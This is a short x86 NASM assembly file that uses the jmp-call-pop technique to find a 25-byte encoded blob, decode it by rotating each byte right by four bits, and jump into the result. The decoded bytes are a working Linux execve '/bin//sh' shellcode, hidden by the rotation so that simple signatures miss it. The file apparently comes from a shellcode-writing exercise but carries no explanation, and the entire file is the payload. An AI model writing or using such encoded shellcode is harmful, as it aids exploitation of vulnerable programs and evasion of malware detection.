ror-decoder.nasm

; Filename: ror-decoder.nasm
;
;
; Purpose: 

global _start			

section .text
_start:

	jmp short call_decoder

decoder:
	pop esi
	xor ecx, ecx
	mov cl, 25


decode:
	ror byte [esi], 4
	inc esi
	loop decode

	jmp short Shellcode



call_decoder:

	call decoder
	Shellcode: db 0x13,0x0c,0x05,0x86,0xf2,0xf2,0x37,0x86,0x86,0xf2,0x26,0x96,0xe6,0x98,0x3e,0x05,0x98,0x2e,0x35,0x98,0x1e,0x0b,0xb0,0xdc,0x08